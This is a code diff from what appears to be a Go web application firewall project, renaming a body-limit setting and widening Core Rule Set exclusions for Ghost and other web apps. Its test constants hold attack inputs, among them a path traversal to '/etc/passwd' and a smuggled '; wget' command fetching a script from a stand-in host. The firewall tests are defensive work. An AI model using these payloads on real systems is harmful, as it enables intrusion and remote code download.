const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||||
|
|
||||||
@@ -2310,8 +2318,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
|||||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||||
const bodyLimit = 8 << 10
|
// tests that read bodies.
|
||||||
|
const bodyInspectionSize = 8 << 10
|
||||||
|
|
||||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||||
const (
|
const (
|
||||||
@@ -2334,12 +2343,13 @@ const pathTraversal = "../../etc/passwd"
|
|||||||
const shellCommand = "; wget http://example.com/x.sh"
|
const shellCommand = "; wget http://example.com/x.sh"
|
||||||
|
|
||||||
// readingBodies returns the Core Rule Set as sww runs it by
|
// readingBodies returns the Core Rule Set as sww runs it by
|
||||||
// default, but reading bodies up to bodyLimit.
|
// default, but reading bodies up to bodyInspectionSize.
|
||||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2393,7 +2403,7 @@ func wantBody(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
off, on := atDefaults(t), readingBodies(t)
|
off, on := atDefaults(t), readingBodies(t)
|
||||||
@@ -2413,7 +2423,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
pad := strings.Repeat("a", bodyLimit)
|
pad := strings.Repeat("a", bodyInspectionSize)
|
||||||
|
|
||||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||||
{
|
{
|
||||||
@@ -2426,20 +2436,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||||
tc.attackFirst[:bodyLimit+1])
|
tc.attackFirst[:bodyInspectionSize+1])
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
post(tc.header),
|
post(tc.header),
|
||||||
tc.attackLast,
|
tc.attackLast,
|
||||||
coreruleset.Result{},
|
coreruleset.Result{},
|
||||||
tc.attackLast[:bodyLimit+1],
|
tc.attackLast[:bodyInspectionSize+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// To the byte: a system file's path is found when it ends at the limit,
|
// To the byte: a system file's path is found when it ends at the limit,
|
||||||
// and not when its last letter is past it, which is still read.
|
// and not when its last letter is past it, which is still read.
|
||||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2449,7 +2459,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
|||||||
atLimit,
|
atLimit,
|
||||||
)
|
)
|
||||||
|
|
||||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2469,10 +2479,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
|||||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||||
} {
|
} {
|
||||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||||
|
|
||||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||||
wantBody(
|
wantBody(
|
||||||
t,
|
t,
|
||||||
crs,
|
crs,
|
||||||
@@ -2529,7 +2539,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
|||||||
|
|
||||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||||
// Content-Encoding on it is refused all the same.
|
// Content-Encoding on it is refused all the same.
|
||||||
larger := strings.Repeat("a", bodyLimit+1)
|
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||||
|
|
||||||
// It is allowed on a body of any other kind, and on every body while no
|
// It is allowed on a body of any other kind, and on every body while no
|
||||||
@@ -2748,7 +2758,7 @@ func giteaBranchNamesInBodies() []nameInBody {
|
|||||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -2849,7 +2859,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
// that has no colon, before the attack. They do so padded past the
|
// that has no colon, before the attack. They do so padded past the
|
||||||
// limit too, which cuts them in the padding.
|
// limit too, which cuts them in the padding.
|
||||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||||
|
|
||||||
for _, tc := range []struct{ header, head string }{
|
for _, tc := range []struct{ header, head string }{
|
||||||
{multipart + "; boundary=c", ""},
|
{multipart + "; boundary=c", ""},
|
||||||
@@ -2867,7 +2877,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
|||||||
|
|
||||||
body = tc.head + field("q", injection) + pad + end
|
body = tc.head + field("q", injection) + pad + end
|
||||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||||
body[:bodyLimit+1])
|
body[:bodyInspectionSize+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2880,7 +2890,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
cut := "--b\r\nContent-Di"
|
cut := "--b\r\nContent-Di"
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
strings.Repeat(
|
||||||
|
"a",
|
||||||
|
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||||
|
),
|
||||||
)
|
)
|
||||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||||
|
|
||||||
@@ -2890,7 +2903,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
|||||||
post(multipart),
|
post(multipart),
|
||||||
body,
|
body,
|
||||||
matched(900440, 900450),
|
matched(900440, 900450),
|
||||||
body[:bodyLimit+1],
|
body[:bodyInspectionSize+1],
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2909,12 +2922,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
|||||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||||
first := field(
|
first := field(
|
||||||
"pad",
|
"pad",
|
||||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
strings.Repeat(
|
||||||
|
"a",
|
||||||
|
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||||
|
),
|
||||||
)
|
)
|
||||||
body := first + field("q", "1") + end
|
body := first + field("q", "1") + end
|
||||||
|
|
||||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||||
body[:bodyLimit+1])
|
body[:bodyInspectionSize+1])
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2929,7 +2945,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
// The test loads its own Core Rule Set, since loading is part of what
|
// The test loads its own Core Rule Set, since loading is part of what
|
||||||
// it checks.
|
// it checks.
|
||||||
crs, err := coreruleset.New(coreruleset.Params{
|
crs, err := coreruleset.New(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load the Core Rule Set: %v", err)
|
t.Fatalf("load the Core Rule Set: %v", err)
|
||||||
@@ -2941,11 +2958,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
|||||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := coreruleset.New(
|
_, err := coreruleset.New(
|
||||||
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
|
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter
|
# exclusion on a field of a body applies only when the query has no parameter
|
||||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
|
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
# set. The exclusions above the comment "The fields below are in bodies" also
|
||||||
# cover a body field of the same name whatever the query holds, and only those
|
# cover a body field of the same name whatever the query holds, and only those
|
||||||
# below it need a query without that name.
|
# below it need a query without that name.
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||||
const drupalThreshold = 5
|
const drupalThreshold = 5
|
||||||
|
|
||||||
// drupalAddArticle is Drupal's form for a new article.
|
// drupalAddArticle is Drupal's form for a new article.
|
||||||
|
|||||||
@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
|||||||
# They skip these rules:
|
# They skip these rules:
|
||||||
# 932120: fix-powershell-module
|
# 932120: fix-powershell-module
|
||||||
# 932260: feat/docker-support
|
# 932260: feat/docker-support
|
||||||
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
|
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
|
||||||
# nothing when the query has a parameter of the same name.
|
# nothing when the query has a parameter of the same name.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
||||||
"id:900666,phase:1,pass,nolog,chain"
|
"id:900666,phase:1,pass,nolog,chain"
|
||||||
|
|||||||
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
|
|||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|||||||
"/alice/-/packages/npm/x?q=",
|
"/alice/-/packages/npm/x?q=",
|
||||||
"/alice/tools/branches?other=",
|
"/alice/tools/branches?other=",
|
||||||
} {
|
} {
|
||||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
for _, value := range slices.Concat([]string{binSh}, hardValues) {
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,11 +3,12 @@
|
|||||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
# rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
||||||
# a body applies only when the query has no parameter of that name, so it
|
# a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||||
#
|
#
|
||||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
||||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
||||||
# and members call /members/api/. Coraza names a field of a JSON body by its
|
# and members call /members/api/. The admin calls ActivityPub, a service of its
|
||||||
|
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
|
||||||
# path, so the title of the first post saved is json.posts.0.title.
|
# path, so the title of the first post saved is json.posts.0.title.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
||||||
@@ -17,11 +18,22 @@
|
|||||||
SecRule &TX:app_ghost "@eq 0" \
|
SecRule &TX:app_ghost "@eq 0" \
|
||||||
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
||||||
|
|
||||||
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
|
# filter, a query in Ghost's own filter language, skips seven rules on the
|
||||||
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
|
# Admin API and the Content API:
|
||||||
|
# 932120: filter=tag:powershell, filter=name:~'powershell'
|
||||||
|
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
|
||||||
|
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
|
||||||
|
# post picker sends when a person types that title
|
||||||
|
# 932380: filter=title:~'python3 & powershell'
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
||||||
"id:900350,phase:1,pass,nolog,\
|
"id:900350,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:filter"
|
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:filter"
|
||||||
|
|
||||||
# search, the search for a member by name or address, skips four rules on the
|
# search, the search for a member by name or address, skips four rules on the
|
||||||
# Admin API:
|
# Admin API:
|
||||||
@@ -45,10 +57,61 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
|||||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||||
|
|
||||||
# The fields a person types plain text into skip seven rules on the Admin API:
|
# The query fields that filter the analytics skip the eight rules that 900353
|
||||||
|
# lists, on /ghost/api/admin/stats/:
|
||||||
|
# 932120: source=powershell.example.com
|
||||||
|
# 932235, 932260: utm_campaign=powershell & python3
|
||||||
|
# 932250: utm_term=ls -la
|
||||||
|
# These fields filter the figures by the site a visit came from, or a
|
||||||
|
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
||||||
|
# utm_term.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||||
|
"id:900367,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
||||||
|
|
||||||
|
# pathname, the page the analytics show, skips three rules on
|
||||||
|
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
||||||
|
# 930120: pathname=/tag/proc/
|
||||||
|
# 932120: pathname=/python3-and-powershell/
|
||||||
|
# 932260: pathname=/tag/python3/
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||||
|
"id:900385,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
||||||
|
|
||||||
|
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||||
|
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||||
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
||||||
|
"id:900368,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
||||||
|
|
||||||
|
# query, a search for an account in ActivityPub, skips the eight rules that
|
||||||
|
# 900353 lists: query=python3, query=@powershell@example.com.
|
||||||
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
||||||
|
"id:900369,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
||||||
|
|
||||||
|
# The fields a person types plain text into skip eight rules on the Admin API,
|
||||||
|
# which refused words that name commands and files:
|
||||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
||||||
# 932120: the page's slug about-python3-powershell-htaccess
|
# 932120: the page's slug about-python3-powershell-htaccess
|
||||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
||||||
|
# 932235: the title "powershell & python3"
|
||||||
# 932260: the tag python3
|
# 932260: the tag python3
|
||||||
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
||||||
# These fields hold plain text:
|
# These fields hold plain text:
|
||||||
@@ -64,11 +127,12 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
||||||
|
|
||||||
# name, the name a member saves at /members/api/, skips the same seven rules.
|
# name, the name a member saves at /members/api/, skips the same eight rules.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||||
"id:900359,phase:1,pass,nolog,chain"
|
"id:900359,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||||
@@ -76,10 +140,99 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
||||||
